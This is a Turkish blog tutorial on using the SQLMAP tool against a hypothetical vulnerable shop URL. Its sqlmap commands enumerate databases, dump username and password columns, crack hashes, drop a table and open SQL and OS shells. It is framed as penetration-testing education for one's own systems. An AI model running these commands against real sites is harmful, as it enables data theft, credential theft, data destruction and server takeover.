SQLMAP Kullanımı

Yayın Tarihi : 26/07/2015Tahmini okuma süresi : 5 dakika

Yasal Uyarı : Bu makalede anlatılan SQLMAP yazılımı ile ilgili bilgiler tamamen bilgiyi öğrenecek kişinin kendi yazılım ve sistemlerinde sızma testi yapabilmesi için verilmiş bilgiler olup, başkaları üzerinde herhangi bir zarar vermek ya da saklanması gereken herhangi bir bilgiyi ortaya çıkarmak amacı ile kullanılması durumunda tüm sorumluluğu kullanan kişiye aittir. Blog yazarı oluşabilecek herhangi bir zarardan sorumlu tutulamaz!

SQL injection genellikle kodlamaya yeni başlamış ve SQL ile çalışmak durumunda kalan kişilerin korkulu rüyalarından biridir. Aslında kurtulması çok kolay olan bir açık türü olsa da makalemizin konusunu bu durumdan nasıl kurtulabileceğiniz değil, bu durumu nasıl test edersiniz ve açığın size zararının ne kadar olacağının testini yapmaktır. Kurtulma yolları ayrı bir makale olabileceği için şimdilik okuyanları yönlendirmek adına prepared statements başlığını arama motorlarında arayarak ön bilgi alabilirler.

Test edeceğimiz açığımız olan SQL injection ya da Türkçe adı ile yapılandırılmış sorgu dili enjeksiyonu; isminden de anlaşılacağı üzere var olan sorguların arasına girip farklı sorgular çalıştırmak mantığına dayanır. Bu yüzden sorgunun sözdizimini bozabilecek karakterler ve ek sorgular gönderip SQL sunucunuza ek işler yaptırabilirsiniz. Bu test işini otomatize eden araçlardan biri de python ile yazılmış bir SQL injection aracı olan SQLMAP; teknik olarak sunucuya giden her türlü trafik üzerinen bu testi yapabilecek olsa da biz en yaygın olan GET istekleri üzerinden testimizi yapacağız.

Hemen kafamızdan bir senaryo uyduralım. Hayali bir alış-veriş sitemiz olsun ve bu sitemizin adresi hiçbir yere referans vermemek adına http://al-ver.dev olsun. Herhangi bir ürünün detaylarını da http://al-ver.dev/urundetay?urun=15 gibi bir bağlantı ile alıyor olalım. Özellikle herhangi bir programlama diline de referans göstermek istemiyorum çünkü bu hata bir programlama dili ile alakalı olarak değil, tamamen yazılımcı ile ilgili bir bilgi eksikliği sonucu, derlenen ya da yorumlanan bütün programlama dilleri ile yazılmış yazılımlarda oluşabilir.

Senaryomuzdaki URLden urun parametresine 15 değerini verip sunucu tarafında 15 numaralı IDye sahip ürünü sorguladığımızı düşünürsek ve bu parametre sorgumuza direkt olarak ekleniyorsa, elle gireceğimiz başka karakterler ile sunucuda çalıştırılan sorgumuzu bozabiliriz. Örneğin 15’in sonuna bir tek tırnak ( ' ) eklediğimizde SQL sözdizimi bozulacağı için ekranda bir hata mesajı görmeniz olası olabilir. Bu gibi bir durumda bu URLimizi SQLMAP ile kullanarak daha fazla veriye erişebilmemizin yolu açılabilir.

İlk olarak açık bulduğumuz URL’mizi -u anahtarına argüman olarak gönderiyoruz ve ardından istediğimiz özellikle ilgili anahtarı ve argümanı komutumuza paslıyoruz. Sonra bize dönen çıktılarla yavaş yavaş ilerlemeye devam ediyoruz.

İlk önce :

sqlmap -u http://al-ver.dev/urundetay?urun=15 --dbs

komutunu verip sunucumuz üzerindeki tüm databaselerin listesini istiyoruz. İlk defa komutu verdiğimizde script bizim için ilk testleri yapıp database sunucusunu tipini tespit etmek ve komutları verebilmek için çeşitli testler yapmak isteyecek ve bunların onayını almak için size birkaç soru soracak. Buradaki adımları isterseniz atlayabilirsiniz ya da database sunucusunun tipini biliyorsanız (bizim senaryomuzda bunun MySQL olduğunu varsayacağım) aşağıdaki gibi bir komut verip sunucu tespiti için yapılacak testlerin bir kısmını atlayabilirsiniz:

sqlmap -u http://al-ver.dev/urundetay?urun=15 --dbs --dbms=mysql

Buradaki --dbs anahtarı ile açığımızın olduğu sayfa üzerinden sunucudaki veritabanlarının listesini istiyoruz. Ayrıca opsiyonel olarak girdiğimiz --dbms=mysql anahtar ve değeri ile de database yönetim sisteminin script’e MySQL olduğunu söylüyoruz.

Gelen veritabanı listelerinden bizim işimize yarayacak veritabanının isminin ornekDB olduğunu varsayarak yeni komutumuzla devam ediyoruz ve tabloların listesini istiyoruz.

sqlmap -u http://al-ver.dev/urundetay?urun=15 -D ornekDB --tables

Verdiğimiz komuttaki -D ornekDB anahtar-değer ikilisi ile seçtiğimiz veritabanının ornekDB olduğunu garantiliyoruz ve --tables anahtarı ile seçtiğimiz veritabanının tablolarının listesini istiyoruz.

İsteğimizden dönen tablo listesinden içerisindeki verilere ulaşmak istediğimiz bir tabloyu seçip komutlarımıza devam ediyoruz.

sqlmap -u http://al-ver.dev/urundetay?urun=15 -D ornekDB -T users --columns

Yukarıdaki komutla ornekDB veritabanında users tablosu altındaki kolonları istiyoruz. Anahtar-değer ilikilerini açıklayacak olursak daha önceki komuttan hatırlayacağımız -D ornekDB ikilisi ornekDB veri tabanını seçitor, -T users anahtar-değer ikilisi users tablosunu seçiyor ve --columns anahtarı ise bizim seçtiğimiz tablodaki kolonların listesini sorgulamamızı sağlıyor.

Şu aşamadan sonra yapmamız gereken tablodaki istediğimiz alanlardan verileri almak olacak. Bunun için de şu komutu veriyoruz:

sqlmap -u http://al-ver.dev/urundetay?urun=15 -D ornekDB -T users -C username,password --dump

Bu komutun önceki komuttan farklarını açıklayacak olursak -C username,password ikilisi ile user tablosundan username ve password kolonlarını istiyoruz ve --dump anahtarı ile bize aldığı verileri ekrana basmasını istiyoruz.

Bundan sonrasında aldığımız parola hashlenmemiş ve açık olarak kaydedilmişse istersek sisteme giriş yapıp siteyi ele geçirebiliriz. Ya da hashlenmişse bile bazı online araçlar ile hash’in tipini belirleyip kırma yöntemine gidebiliriz. Ayrıca SQLMAP kendi içerisinde MD5 kırmak için bir araçla gelir ve bulduğu hash’lerde MD5’i tespit ettiği zaman size; “kırmayı denememi ister misiniz?” benzeri bir soru sorar. Eğer onaylarsanız da sizin için MD5 hashlerini kırmaya çalışır.

Buraya kadarki komutlara ek olarak bulduğumuz veri tabanına kendi özel sorgularımızı da gönderebiliriz. Örneğin:

sqlmap -u http://al-ver.dev/urundetay?urun=15 -D ornekDB --sql-query="DROP TABLE users"

komutu ornekDB üzerinde DROP TABLE users sorgusunu çalıştırır. Tabi bu komutun kullanıcı izinleri ile alakalı olarak çalıştırılma yetkisi olmayabilir. Ayrıca istersek interaktif SQL komut istemini de şu komut ile kullanabiliriz:

sqlmap -u http://al-ver.dev/urundetay?urun=15 -D ornekDB --sql-shell

Bu komuttan sonra interaktif komut istemine bağlanıp yetkilerimiz dahilinde istediğimiz şeyleri komut konsolundan yapabiliriz.

Hep yetkilerden bahsediyoruz ama bu yetkiler nedir kimin yetkisidir diye soracak olursak da veritabanına erişim yetkisi olan veritabanı sunucusuna özel kullanıcıya ait yetkilerdir.

sqlmap -u http://al-ver.dev/urundetay?urun=15 --users

Komutu ile veritabanı sunucumuzdaki kullanıcıların listesini alabiliriz.

sqlmap -u http://al-ver.dev/urundetay?urun=15 --passwords

Komutu ile veritabanı sunucumuzdaki kullanıcıların parolalarını alabiliriz.

sqlmap -u http://al-ver.dev/urundetay?urun=15 --privileges

Komutu ile de tanımlı kullanıcıların yetkilerini görebiliriz.

Ayrıca yetkilerimizin fazla olduğunu varsayarak işletim sistemine erişim yetkimiz varsa eğer şu komutla :

sqlmap -u http://al-ver.dev/urundetay?urun=15 --os-cmd="pwd"

işletim sistemimize belirleyeceğimiz bir komutu gönderebiliriz. Buradaki pwd komutu komutun çalıştığı klasörün ismini basar. (Print Working Directory)

Ayrıca şu komut ile de;

sqlmap -u http://al-ver.dev/urundetay?urun=15 --os-shell

interaktif komut istemine bağlanıp bir nevi reverse shell (netcat ile yapılan gibi) yaparak istediğimiz gibi makinayı yönetebilme şansımız var.

SQLMAP ile ilgili temel bir kullanım bilgisi içeren bu makalenin, daha güvenli yazılımlar geliştirmeniz konusunda sizlere yardımcı rehber olabilmesi dileği ile…